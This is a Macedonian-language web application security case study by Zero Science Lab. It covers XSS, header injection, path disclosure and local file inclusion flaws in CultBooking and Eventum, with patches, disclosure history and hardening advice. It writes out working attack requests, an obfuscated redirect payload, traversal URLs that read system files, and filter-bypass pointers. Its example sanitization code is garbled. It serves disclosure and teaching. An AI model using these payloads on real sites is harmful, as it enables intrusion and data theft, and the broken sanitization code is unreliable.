ݺߣ

ݺߣShare a Scribd company logo
Информациско безбедносна проценка на веб апликации
                      (изучување на случај)




Секоја веб базирана апликација би требало да се тестира од грешки и багови (QA -
http://en.wikipedia.org/wiki/Quality_assurance) уште кога е во својата развојна фаза. Дури и откако ќе
излезе финалниот продукт, после додавањето на модули и нови ажурирања и додавање на нови
функционалности, апликацијата, доколку производителот ја смета за сериозна и доколку се грижи за
безбедноста на истата како и за безбедноста на своите клиенти кои ја користат, би требало да
извршува периодична безбедносна проценка или пенетрациско тестирање (пентест) и зацврстување
на веб апликацијата.

Во тој контекст решив да напишам едно изучување и анализа на веб апликации од безбедносна
гледна точка и како всушност изгледа едно безбедносно истражување на веб апликации и нивна
закрпа.

Избрав две веб апликации (PHP): CultBooking, развиена од германската компанија Cultuzz Digital
Media и претставува систем за резервации (хотели, карти и сл.) и Eventum, развиена од тимот на
MySQL (Oracle Corporation) која претставува систем за следење на багови, организација на задачи и
слично. Во овие две апликации ќе посочам на некои ранливости и нивни експлоатациски сценарија.

Пред да започне истражувањето првин ги преземам најновите верзии на горенаведените апликации
од нивните официјални веб страни и ја поставувам околината за тестирање со сите потребни
модули.

Во моментот на ова пишување, најновите верзии се:

1. CultBooking 2.0.4 - http://sourceforge.net/projects/cultbooking [3.454 KB]
2. Eventum 2.3 - https://launchpad.net/eventum [3.080 KB]

За овој вид на тестирање (in-house), околината содржи:

- GNU/Linux Fedora 10
- MS Windows XP Pro SP3
- XAMPP - http://www.apachefriends.org/en/xampp.html




Zero Science Lab | www.zeroscience.mk                                                   Jan-Feb, 2011
1. Запознавање со целта



Запознавање со целта е важен чекор во секоја истражувачка дејност. За да го разбереме она што
сакаме да го тестираме, првин треба ги научиме методите и функционалноста на апликацијата. За
што служи, која е примарната цел на истата, како се справува со податоци, преглед на интерфејсот
и запознавање со додатните модули како и читање на прирачникот, разгледување и ревизија на
изворниот код и хиерархијата, точки на корисничко внесување, протоколи, дали користи
авторизација и автентикација и сл. Треба целосно да го запознаеме работниот тек (workflow) на
целта, како што ги знаеме нашите омилени апликации кои што ги користиме секојдневно, за да се
дојде до успешни резултати од анализата.

Нема да пишувам ревизија за апликациите и нивните плусеви и минуси. Откако го запознав системот
на работа кај апликациите, продолжувам со следниот чекор.



2. Креирање на листа од безбедносни тест алатки



       "Man is a tool-using animal. Without tools he is nothing, with tools he is all."

                                                                                          - Thomas Carlyle



Нема да објаснувам како се користат алатките туку само ќе набројам неколку бесплатни и корисни
безбедносни алатки кои ги користев во ова сценарио:

* Mozilla Firefox - веб прелистувач - http://www.mozilla.com/en-US/firefox/
* TamperData - firefox екстензија за следење и модификација на HTTP/S побарувања -
http://tamperdata.mozdev.org/
* HackBar - firefox екстензија, toolbar кој ви помага во тестирање на безбедноста на сајтови -
https://code.google.com/p/hackbar/
* Fiddler - веб дебагер - http://www.fiddler2.com/fiddler2/
* Firebug - firefox екстензија за уредување, дебагирање и мониторинг на html, css и js во веб
сајтови - http://getfirebug.com/
* N-Stalker - безбедносен скенер за веб апликации - http://www.nstalker.com/products/free
* Acunetix - скенер за веб безбедност - http://www.acunetix.com/cross-site-scripting/scanner.htm
* Websecurify - безбедносно тестирање на веб апликации - http://www.websecurify.com/download
* Powerfuzzer - веб fuzzer (стрес алатка) - http://www.powerfuzzer.com/
* PuzlBox - PHP fuzzer (динамична анализа на програм) - http://sourceforge.net/projects/puzlbox1/
* OWASP Zed Attack Proxy (ZAP) - алатка за пенетрациско тестирање и пронаоѓање на
ранливости во веб апликации (поранешен Paros - http://www.parosproxy.org/) -
http://code.google.com/p/zaproxy/
* Burp Suite - платформа за тестирање на веб апликации - http://www.portswigger.net/burp/
* WebSlayer - bruteforcer за веб апликации - http://code.google.com/p/webslayer/
* Pixy - статична анализа на изворен код (SQLi/XSS) - http://pixybox.seclab.tuwien.ac.at/pixy/
* w3af - конструкција за папад и ревизија на веб апликации - http://w3af.sourceforge.net/
* Samurai - конструкција за веб тестирање - http://samurai.inguardians.com/



Zero Science Lab | www.zeroscience.mk                                                       Jan-Feb, 2011
3. Истражување и анализа




3.1 CultBooking



Откако ја измапирав целата структура на апликацијата почнав со скенирање од ранливости со
горенаведените алатки како и разгледување на самиот код со едноставно читање. Пронајдов
неколку ранливости од типот Cross-Site Scripting од различни концепти, Local File Inclusion, File
Disclosure и Path Disclosure ранливост.




XSS POST Injection:

- Ранливи POST параметри: bookingcode и email

------------------------- HTTP Request -------------------------
POST /cultbooking/cultbooking.php HTTP/1.1
Content-Length: 136
Content-Type: application/x-www-form-urlencoded
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.8) Gecko/2008101401
Firefox/3.1
Accept-Encoding: gzip,deflate
Keep-Alive: 50
Connection: Keep-Alive

bookingcode="><script>alert(1)</script>&email="><script>alert(1)</script>&agentsine=10492&agentd



Zero Science Lab | www.zeroscience.mk                                                     Jan-Feb, 2011
utycode=1429741cfe1700d7&lang=de&hcode=11225&action=cancelbooking
------------------------------------------------------------------------

------------------------- HTTP Respond ----------------------------
HTTP/1.1 200 OK
Date: Sun, 16 Jan 2011 16:04:25 GMT
Server: Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color PHP/5.3.1
mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1
X-Powered-By: PHP/5.3.1
Content-Length: 5386
Keep-Alive: timeout=5, max=80
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
------------------------------------------------------------------------



HTML Injection преку Header Attack:

- Ранлива променлива: Host

------------------------- HTTP Request -------------------------
POST /cultbooking/cultbooking.php HTTP/1.1
Host: "><zsl><h1>ZSL-CROSS-SCRIPT-EXECUTED"
Content-Length: 19
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.8) Gecko/2008101401
Firefox/3.1
Accept-Encoding: gzip,deflate
Keep-Alive: 50
Connection: Keep-Alive

action=cancellation
------------------------------------------------------------------------

------------------------- HTTP Respond ----------------------------
HTTP/1.1 200 OK
Date: Sun, 16 Jan 2011 16:04:58 GMT
Server: Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color PHP/5.3.1
mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1
X-Powered-By: PHP/5.3.1
Content-Length: 5335
Keep-Alive: timeout=5, max=95
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
------------------------------------------------------------------------




Zero Science Lab | www.zeroscience.mk                                               Jan-Feb, 2011
XSS GET:

- Ранлив параметар: lang

------------------------- HTTP Request -------------------------
GET /cultbooking/cultbooking.php?lang="><script>alert(1)</script> HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.8) Gecko/2008101401
Firefox/3.1
Accept-Encoding: gzip,deflate
Keep-Alive: 50
Connection: Keep-Alive
------------------------------------------------------------------------

------------------------- HTTP Respond ----------------------------
HTTP/1.1 200 OK
Date: Sun, 16 Jan 2011 16:04:23 GMT
Server: Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color PHP/5.3.1
mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1
X-Powered-By: PHP/5.3.1
Keep-Alive: timeout=5, max=95
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=utf-8
------------------------------------------------------------------------



Да напоменам дека има некои забрани поради magic_quotes (php.ini). Тие филтрирања можеме
понекогаш да ги заобиколуваме со помош на различни техники како енкодинг, обфускација, големи
и мали букви, хексадецимални карактери и т.н. Еве неколку референци:

Преусмерување:
http://127.0.0.1/cultbooking/cultbooking.php?lang="><script>document.location.href=String.fromCh
arCode(104, 116, 116, 112, 58, 47, 47, 122, 101, 114, 111, 115, 99, 105, 101, 110, 99, 101, 46,
109, 107);</script>

http://www.asciitable.com/


Zero Science Lab | www.zeroscience.mk                                               Jan-Feb, 2011
http://seclists.org/pen-test/2007/Jan/95
http://devteev.blogspot.com/2010/08/null-byte.html
http://devteev.blogspot.com/2009/08/null-byte.html
http://www.ush.it/team/ush/hack-phpfs/phpfs_mad.txt
http://www.ush.it/2009/02/08/php-filesystem-attack-vectors/
http://ptresearch.blogspot.com/2010/08/another-alternative-for-null-byte.html
http://raz0r.name/articles/null-byte-alternative/
http://www.elartedeprogramar.cl/seguridad_web/advanced_postgrest_sql_injection_and_filter_bypass
_techniques_190.0.html
http://ha.ckers.org/sqlinjection/
http://ha.ckers.org/xss.html

и т.н.


Разоктривање на патеката на апликацијата (http://www.owasp.org/index.php/Full_Path_Disclosure)
обично доаѓа заедно со некоја друга ранливост поради несоодветно справување со грешки. Во овој
случај таа се појавува и во LFI и во XSS нападите. Едноставно на крајот на секој параметар додадете
го карактерот: ' (%27) или било што друго освен потребното и ќе ви биде претставена целосната
патека на веб директориумот на веб серверот. Пр:

http://127.0.0.1/cultbooking/cultbooking.php?lang='




Local File Inclusion / File Disclosure:

- Ранлив параметар: lang
- Зависно од magic_quotes_gpc=off

http://127.0.0.1/cultbooking/cultbooking.php?lang=c%3A%5C%5Cboot.ini%00
http://127.0.0.1/cultbooking/cultbooking.php?lang=../../../boot.ini%00




Ранливата функција можеме да ја погледнеме со следење на изворниот код во самата апликација:

cultbooking.php скриптата ја отворам во мојот омилен текст едитор и го разгледувам текот за
вклучување на функцијата и класите за јазикот. Во cultbooking.php гледам:

Zero Science Lab | www.zeroscience.mk                                                 Jan-Feb, 2011
require_once('Sessionlanguage/cultbooking.languageNS.languageImplSkel.class.php');

навигирам во папката Sessionlanguage и го отворам cultbooking.languageNS.languageImplSkel.class.php
податокот. По детално разгледување доаѓам до скриптата:
cultbooking.languageNS.languageImpl.class.php во која го има следниов код:

----------------------------------------------------------

<?php

/** implement the methods of cultbooking§languageNS§languageImplSkel.class.php. */
class cultbooking§languageNS§languageImpl extends cultbooking§languageNS§languageImplSkel
{

        var $incfile;
        public function providetransLang()
          {
                return $this;
          }

         public function localization($incfile)
     {
          $this->incfile = $incfile;
     }

     public function translate($str)
     {
         include $this->incfile .".inc";
              return $$str;
     }

}
?>

----------------------------------------------------------

Проблемот е што нема доволно санирање на корисничкото внесување при што последици би можеле
да бидат катастрофални каде што напаѓачот би можел да дојде до осетливи информации само со
пропатување низ директориуми и специфицирање на податокот којшто сака да го види (пример:
passwd, config.php и сл.) со нулирање на крај од секој стринг (%00). Класата
cultbookingВ§languageNSВ§languageImpl е ранлива на LFI напад. Во функцијата се бара .inc податок
како што и веќе се таму en.inc и de.inc но со заобиколување и завршување на крај на стрингот
можеме да го видиме било кој податок кој се наоѓа во системот. Напаѓачот може да дојде до
осетливи информации на заразениот систем со пропатување на директориуми или пак да извршува
HTML код во корисничкиот прелистувач со помош на XSS напад.

Пример за побезбедно санирање/валидација:

<?php
$file = <?php
$file = preg_replace(‘/[^a-zA-Z0-9_]/’,”,addslashes($_GET['file']));
$readfile = readfile($file);
?>
($_GET['file']));
$readfile = readfile($file);
?>

За среќа, magic_quotes_gpc доколку ви е вклучено (=ON) ќе се заштитите од овој напад но не и од
Path Disclosure. Magic Quotes конвертира некои карактери, што им отежнува на напаѓачите успешно
да извршат напад, пример: %00 во 0, но не се препорачува користење на magic quotes за
избегнување на податоци.




Zero Science Lab | www.zeroscience.mk                                                Jan-Feb, 2011
Споредба и закрпи:




Zero Science Lab | www.zeroscience.mk   Jan-Feb, 2011
Од сликите можете да видите како изгледа едно закрпување на веб апликација со едноставно
користење на функциите за регуларни изрази, поклопување на шаблони, санирање, споредување,
избегнување и нејзино зацврстување.




Zero Science Lab | www.zeroscience.mk                                           Jan-Feb, 2011
3.2 Eventum



Исто и за оваа апликација истите чекори како за претходната апликација во која најдов Stored
(Persistent) складирана Cross-Site Scripting ранливост. Тоа значи дека кога и да се вратите на
апликацијата, скриптата ќе се извршува кога ќе ја повикате ранливата страна.




POST Stored/Persistent XSS:

- Ранлива скрипта: list.php, ранлив параметар: keywords

POST /eventum-2.3/htdocs/list.php?keywords=<script>alert('ZSL')<%2Fscript> HTTP/1.1

RESPONSE: HTTP/1.1 200 OK

Откако се најавив (post-auth) и после извршувањето на побарувањето, малициозниот стринг е
вметнат и складиран додека рачно не се избрише. Исто така, самата апликација, складираниот
стринг го извршува на секои 5 минути се додека не ја затворите страницата (page self-
refresh/session). Тест со помош на оставање на стрингот:

<script>alert(Date())</script> во search полето...




Zero Science Lab | www.zeroscience.mk                                                  Jan-Feb, 2011
Zero Science Lab | www.zeroscience.mk   Jan-Feb, 2011
Закрпа:




Reflected/Non-Persistent XSS:

forgot_password.php и select_project.php се исто така ранливи на XSS нападот поради немање
филтрирање кога ја користат REQUEST_URI променливата. Ја тестирав и верзијата 2.2:

GET /eventum-2.3/htdocs/forgot_password.php/>"><script>alert('ZSL')</script>
GET /eventum-2.2/forgot_password.php/>"><script>alert('ZSL')</script>
GET /eventum-2.2/select_project.php/>"><script>alert('ZSL')</script>

-----------------------------------------------

Скрипта: eventum-2.3/lib/eventum/class.auth.php:

Line 90: $failed_url .= "&url=" . urlencode($_SERVER['REQUEST_URI']);
Line 131: self::redirect("select_project.php?url=" . urlencode($_SERVER['REQUEST_URI']),
$is_popup);

--

Скрипта: eventum-2.3/templates/current_filters.tpl.html

Line: 11: <b>{$filter_name}</b>: {$filter_value}{if !$smarty.foreach.active_filters.last}; {/if}

--

Скрипта: eventum-2.3libpearHTTP.php:

Line 318: $url = isset($_SERVER['REQUEST_URI']) ?
Line 319: $_SERVER['REQUEST_URI'] : $_

-----------------------------------------------




Ранливоста се наоѓа во папката templates во следниве фајлови:

- current_filters.tpl.html
- forgot_password.tpl.html
- select_project.tpl.html

(+ е додаден код или закрпен, - е одстранет код):

---------------------------------------------------------------------------

=== modified file 'templates/current_filters.tpl.html'
--- templates/current_filters.tpl.html 2008-07-22 20:19:52 +0000
+++ templates/current_filters.tpl.html 2011-01-24 03:14:02 +0000
@@ -8,7 +8,7 @@


Zero Science Lab | www.zeroscience.mk                                               Jan-Feb, 2011
<td class="default">
             {t}Current filters:{/t}&nbsp;
             {foreach from=$active_filters name=active_filters key=filter_name
item=filter_value}
-                    <b>{$filter_name}</b>: {$filter_value}{if !$smarty.foreach.active_filters.last};
{/if}
+                    <b>{$filter_name}</b>: {$filter_value|escape:"html"}{if
!$smarty.foreach.active_filters.last}; {/if}
             {foreachelse}
               <i>{t}None{/t}</i>
             {/foreach}



=== modified file 'templates/forgot_password.tpl.html'
--- templates/forgot_password.tpl.html 2010-10-07 11:43:46 +0000
+++ templates/forgot_password.tpl.html 2011-01-24 03:14:02 +0000
@@ -23,7 +23,7 @@

 {include file="yellow_note.tpl.html" content=$note_message}
 {/if}
 <br />
-<form    name="email_form" onSubmit="return validateForm(this);" method="post"
action="{$smarty.server.PHP_SELF}">

+<form    name="email_form" onSubmit="return validateForm(this);" method="post" action="">
<input type="hidden" name="cat" value="reset_password">
<table align="center" width="500" border="0" cellspacing="0" cellpadding="1" bgcolor="#000000">
<tr>



=== modified file 'templates/select_project.tpl.html'
--- templates/select_project.tpl.html   2010-10-07 11:43:46 +0000
+++ templates/select_project.tpl.html   2011-01-24 03:14:02 +0000
@@ -16,7 +16,7 @@

 //-->
 </script>
 {/literal}
-<form    name="login_form" onSubmit="return validateForm(this);" method="post"
action="{$smarty.server.PHP_SELF}">
+<form    name="login_form" onSubmit="return validateForm(this);" method="post" action="">
 <input type="hidden" name="cat" value="select">
 <input type="hidden" name="url" value="{$smarty.get.url}">
 <table align="center" width="400" border="0" cellspacing="0" cellpadding="1" bgcolor="#000000">

---------------------------------------------------------------------------




Zero Science Lab | www.zeroscience.mk                                                    Jan-Feb, 2011
Следење на измените од Eventum тимот (пред официјално објавување на нова верзија):
https://code.launchpad.net/~eventum-developers/eventum/trunk




Zero Science Lab | www.zeroscience.mk                                            Jan-Feb, 2011
4. Безбедносни предупредувања, пријавување, одговорност



После секој пронајдок, индивидуално зависи дали ќе го пријавите тој пронајдок на производителот
со надеж за соработка и координирано објавување на безбедносно предупредување (етички) или
пак веднаш со објавување (не-етички) или пак воопшто (за приватни цели).

Иако се обидував да воспоставам комуникација со тимот на CultBooking, не добив одговор, поради
што, за неколку дена ги објавив и безбедносните предупредувања за пошироката јавност (според
нашата полиса за обелоденување). Дури по 2 недели од објавувањето, бев известен од господинот
Uwe Steinbach од Cultuzz тимот дека објавиле закрпена верзија 2.0.5.

Тимот на CultBooking во овој случај одиграа многу не одговорно па може да се каже и малку дрско.

За поздрав е тимот на Eventum поради својата инволвираност и активност, и поради реагирање
веднаш на пријавените ранливости и грижа за безбедноста на својата апликација. Добија целосна
соработка и поддршка и разумно време за креирање на закрпата. Безбедноста на информации треба
да се сфати сериозно. Откако ги пријавив ранливостите, господинот Bryan Alsdorf и Elan Ruusamäe
развија закрпа за помалку од два дена, после кое следеше официјално објавување на новата
верзија, 2.3.1.



Безб. предупредување ID: ZSL-2011-4987
Наслов: CultBooking 2.0.4 (cultbooking.php) Multiple XSS/PD Vulnerabilities
Врска: http://www.zeroscience.mk/mk/vulnerabilities/ZSL-2011-4987.php

Безб. предупредување ID: ZSL-2011-4988
Наслов: CultBooking 2.0.4 (lang) Local File Inclusion Vulnerability
Врска: http://www.zeroscience.mk/mk/vulnerabilities/ZSL-2011-4988.php

Безб. предупредување ID: ZSL-2011-4989
Наслов: Oracle MySQL Eventum 2.3 Remote Script Insertion Vulnerabilies
Врска: http://www.zeroscience.mk/mk/vulnerabilities/ZSL-2011-4989.php



5. Препораки



Кога развивате веб апликации, било да сте програмер или проект менаџер, би требало секогаш да ја
имате безбедноста на ум. Постојат такви техники и функции кои ви овозможуваат да развиете
постабилна и побезбедна апликација за вашите клиенти. Исто така постојат и Web Application
Firewall (WAF) апликации и за Windows и за Linux. (Еве некоја листа:
http://www.owasp.org/index.php/Web_Application_Firewall)

Користете избегнувања на специјални карактери каде што треба, санирање на формулари и скрипти
што качуваат (upload) податоци, валидација, двојна проверка на функции со бази на податоци и сл.
Функции како:

htmlspecialchars(), htmlentities(), mysql_real_escape_string(), addslashes(), preg_match(),
stip_tags(), nl2br(), escapeshellarg()   и т.н.



Zero Science Lab | www.zeroscience.mk                                                Jan-Feb, 2011
Извршувајте безбедносни проценки и следете ги најновите вести од безбедносната индустрија како
и порталите што објавуваат нови ранливости и техники на заобиколување на безбедносните
механизми.



6. Корисни линкови и референци



- http://zeroscience.mk/mk/vulnerabilities/
- http://koduleht.eu/phptest/index.php
- http://koduleht.eu/phptest/taketest.php?11
- http://www.phpfreaks.com/tutorial/php-security
- http://grasp.coresecurity.com/index.php?m=chl
- http://www.ibm.com/developerworks/opensource/library/os-php-secure-apps/index.html
- http://net.tutsplus.com/tutorials/php/5-helpful-tips-for-creating-secure-php-applications/
- http://it.com.mk/lista-na-softver-za-revizija-na-izvoren-kod/
- http://www.gnucitizen.org/static/blog/2008/04/php-code-analysis-real-world-examples.pdf
- http://exploit-db.com
- http://secunia.com
- http://php-ids.org/
- http://osvdb.org
- http://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
- http://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet
- http://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29_Prevention_Cheat_Sheet
- http://www.owasp.org/index.php/URL_Access_Prevention_Cheat_Sheet
- http://www.owasp.org/index.php/Injection_Prevention_Cheat_Sheet
- http://www.owasp.org/index.php/Esapi
- http://ha.ckers.org/xss.html
- http://phpsec.org/projects/guide/
- http://www.acunetix.com/websitesecurity/php-security-1.htm
- http://securitytube.net
- http://packetstormsecurity.org
- http://securityfocus.com
- http://vupen.com
- http://www.owasp.org/index.php/OWASP_Testing_Guide_v3_Table_of_Contents
- Book: The Art of Software Security Assessment: Identifying and Preventing Software Vulnerabilities од
Mark Dowd, John McDonald и Justin Schuh.


                                                                                           Ѓоко Крстиќ
                                                                                  gjoko@zeroscience.mk




Zero Science Lab | www.zeroscience.mk                                                      Jan-Feb, 2011

More Related Content

Информациско безбедносна проценка на веб апликации (изучување на случај)

  • 1. Информациско безбедносна проценка на веб апликации (изучување на случај) Секоја веб базирана апликација би требало да се тестира од грешки и багови (QA - http://en.wikipedia.org/wiki/Quality_assurance) уште кога е во својата развојна фаза. Дури и откако ќе излезе финалниот продукт, после додавањето на модули и нови ажурирања и додавање на нови функционалности, апликацијата, доколку производителот ја смета за сериозна и доколку се грижи за безбедноста на истата како и за безбедноста на своите клиенти кои ја користат, би требало да извршува периодична безбедносна проценка или пенетрациско тестирање (пентест) и зацврстување на веб апликацијата. Во тој контекст решив да напишам едно изучување и анализа на веб апликации од безбедносна гледна точка и како всушност изгледа едно безбедносно истражување на веб апликации и нивна закрпа. Избрав две веб апликации (PHP): CultBooking, развиена од германската компанија Cultuzz Digital Media и претставува систем за резервации (хотели, карти и сл.) и Eventum, развиена од тимот на MySQL (Oracle Corporation) која претставува систем за следење на багови, организација на задачи и слично. Во овие две апликации ќе посочам на некои ранливости и нивни експлоатациски сценарија. Пред да започне истражувањето првин ги преземам најновите верзии на горенаведените апликации од нивните официјални веб страни и ја поставувам околината за тестирање со сите потребни модули. Во моментот на ова пишување, најновите верзии се: 1. CultBooking 2.0.4 - http://sourceforge.net/projects/cultbooking [3.454 KB] 2. Eventum 2.3 - https://launchpad.net/eventum [3.080 KB] За овој вид на тестирање (in-house), околината содржи: - GNU/Linux Fedora 10 - MS Windows XP Pro SP3 - XAMPP - http://www.apachefriends.org/en/xampp.html Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011
  • 2. 1. Запознавање со целта Запознавање со целта е важен чекор во секоја истражувачка дејност. За да го разбереме она што сакаме да го тестираме, првин треба ги научиме методите и функционалноста на апликацијата. За што служи, која е примарната цел на истата, како се справува со податоци, преглед на интерфејсот и запознавање со додатните модули како и читање на прирачникот, разгледување и ревизија на изворниот код и хиерархијата, точки на корисничко внесување, протоколи, дали користи авторизација и автентикација и сл. Треба целосно да го запознаеме работниот тек (workflow) на целта, како што ги знаеме нашите омилени апликации кои што ги користиме секојдневно, за да се дојде до успешни резултати од анализата. Нема да пишувам ревизија за апликациите и нивните плусеви и минуси. Откако го запознав системот на работа кај апликациите, продолжувам со следниот чекор. 2. Креирање на листа од безбедносни тест алатки "Man is a tool-using animal. Without tools he is nothing, with tools he is all." - Thomas Carlyle Нема да објаснувам како се користат алатките туку само ќе набројам неколку бесплатни и корисни безбедносни алатки кои ги користев во ова сценарио: * Mozilla Firefox - веб прелистувач - http://www.mozilla.com/en-US/firefox/ * TamperData - firefox екстензија за следење и модификација на HTTP/S побарувања - http://tamperdata.mozdev.org/ * HackBar - firefox екстензија, toolbar кој ви помага во тестирање на безбедноста на сајтови - https://code.google.com/p/hackbar/ * Fiddler - веб дебагер - http://www.fiddler2.com/fiddler2/ * Firebug - firefox екстензија за уредување, дебагирање и мониторинг на html, css и js во веб сајтови - http://getfirebug.com/ * N-Stalker - безбедносен скенер за веб апликации - http://www.nstalker.com/products/free * Acunetix - скенер за веб безбедност - http://www.acunetix.com/cross-site-scripting/scanner.htm * Websecurify - безбедносно тестирање на веб апликации - http://www.websecurify.com/download * Powerfuzzer - веб fuzzer (стрес алатка) - http://www.powerfuzzer.com/ * PuzlBox - PHP fuzzer (динамична анализа на програм) - http://sourceforge.net/projects/puzlbox1/ * OWASP Zed Attack Proxy (ZAP) - алатка за пенетрациско тестирање и пронаоѓање на ранливости во веб апликации (поранешен Paros - http://www.parosproxy.org/) - http://code.google.com/p/zaproxy/ * Burp Suite - платформа за тестирање на веб апликации - http://www.portswigger.net/burp/ * WebSlayer - bruteforcer за веб апликации - http://code.google.com/p/webslayer/ * Pixy - статична анализа на изворен код (SQLi/XSS) - http://pixybox.seclab.tuwien.ac.at/pixy/ * w3af - конструкција за папад и ревизија на веб апликации - http://w3af.sourceforge.net/ * Samurai - конструкција за веб тестирање - http://samurai.inguardians.com/ Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011
  • 3. 3. Истражување и анализа 3.1 CultBooking Откако ја измапирав целата структура на апликацијата почнав со скенирање од ранливости со горенаведените алатки како и разгледување на самиот код со едноставно читање. Пронајдов неколку ранливости од типот Cross-Site Scripting од различни концепти, Local File Inclusion, File Disclosure и Path Disclosure ранливост. XSS POST Injection: - Ранливи POST параметри: bookingcode и email ------------------------- HTTP Request ------------------------- POST /cultbooking/cultbooking.php HTTP/1.1 Content-Length: 136 Content-Type: application/x-www-form-urlencoded Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.8) Gecko/2008101401 Firefox/3.1 Accept-Encoding: gzip,deflate Keep-Alive: 50 Connection: Keep-Alive bookingcode="><script>alert(1)</script>&email="><script>alert(1)</script>&agentsine=10492&agentd Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011
  • 4. utycode=1429741cfe1700d7&lang=de&hcode=11225&action=cancelbooking ------------------------------------------------------------------------ ------------------------- HTTP Respond ---------------------------- HTTP/1.1 200 OK Date: Sun, 16 Jan 2011 16:04:25 GMT Server: Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color PHP/5.3.1 mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1 X-Powered-By: PHP/5.3.1 Content-Length: 5386 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=utf-8 ------------------------------------------------------------------------ HTML Injection преку Header Attack: - Ранлива променлива: Host ------------------------- HTTP Request ------------------------- POST /cultbooking/cultbooking.php HTTP/1.1 Host: "><zsl><h1>ZSL-CROSS-SCRIPT-EXECUTED" Content-Length: 19 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.8) Gecko/2008101401 Firefox/3.1 Accept-Encoding: gzip,deflate Keep-Alive: 50 Connection: Keep-Alive action=cancellation ------------------------------------------------------------------------ ------------------------- HTTP Respond ---------------------------- HTTP/1.1 200 OK Date: Sun, 16 Jan 2011 16:04:58 GMT Server: Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color PHP/5.3.1 mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1 X-Powered-By: PHP/5.3.1 Content-Length: 5335 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=utf-8 ------------------------------------------------------------------------ Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011
  • 5. XSS GET: - Ранлив параметар: lang ------------------------- HTTP Request ------------------------- GET /cultbooking/cultbooking.php?lang="><script>alert(1)</script> HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.8) Gecko/2008101401 Firefox/3.1 Accept-Encoding: gzip,deflate Keep-Alive: 50 Connection: Keep-Alive ------------------------------------------------------------------------ ------------------------- HTTP Respond ---------------------------- HTTP/1.1 200 OK Date: Sun, 16 Jan 2011 16:04:23 GMT Server: Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color PHP/5.3.1 mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1 X-Powered-By: PHP/5.3.1 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=utf-8 ------------------------------------------------------------------------ Да напоменам дека има некои забрани поради magic_quotes (php.ini). Тие филтрирања можеме понекогаш да ги заобиколуваме со помош на различни техники како енкодинг, обфускација, големи и мали букви, хексадецимални карактери и т.н. Еве неколку референци: Преусмерување: http://127.0.0.1/cultbooking/cultbooking.php?lang="><script>document.location.href=String.fromCh arCode(104, 116, 116, 112, 58, 47, 47, 122, 101, 114, 111, 115, 99, 105, 101, 110, 99, 101, 46, 109, 107);</script> http://www.asciitable.com/ Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011
  • 6. http://seclists.org/pen-test/2007/Jan/95 http://devteev.blogspot.com/2010/08/null-byte.html http://devteev.blogspot.com/2009/08/null-byte.html http://www.ush.it/team/ush/hack-phpfs/phpfs_mad.txt http://www.ush.it/2009/02/08/php-filesystem-attack-vectors/ http://ptresearch.blogspot.com/2010/08/another-alternative-for-null-byte.html http://raz0r.name/articles/null-byte-alternative/ http://www.elartedeprogramar.cl/seguridad_web/advanced_postgrest_sql_injection_and_filter_bypass _techniques_190.0.html http://ha.ckers.org/sqlinjection/ http://ha.ckers.org/xss.html и т.н. Разоктривање на патеката на апликацијата (http://www.owasp.org/index.php/Full_Path_Disclosure) обично доаѓа заедно со некоја друга ранливост поради несоодветно справување со грешки. Во овој случај таа се појавува и во LFI и во XSS нападите. Едноставно на крајот на секој параметар додадете го карактерот: ' (%27) или било што друго освен потребното и ќе ви биде претставена целосната патека на веб директориумот на веб серверот. Пр: http://127.0.0.1/cultbooking/cultbooking.php?lang=' Local File Inclusion / File Disclosure: - Ранлив параметар: lang - Зависно од magic_quotes_gpc=off http://127.0.0.1/cultbooking/cultbooking.php?lang=c%3A%5C%5Cboot.ini%00 http://127.0.0.1/cultbooking/cultbooking.php?lang=../../../boot.ini%00 Ранливата функција можеме да ја погледнеме со следење на изворниот код во самата апликација: cultbooking.php скриптата ја отворам во мојот омилен текст едитор и го разгледувам текот за вклучување на функцијата и класите за јазикот. Во cultbooking.php гледам: Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011
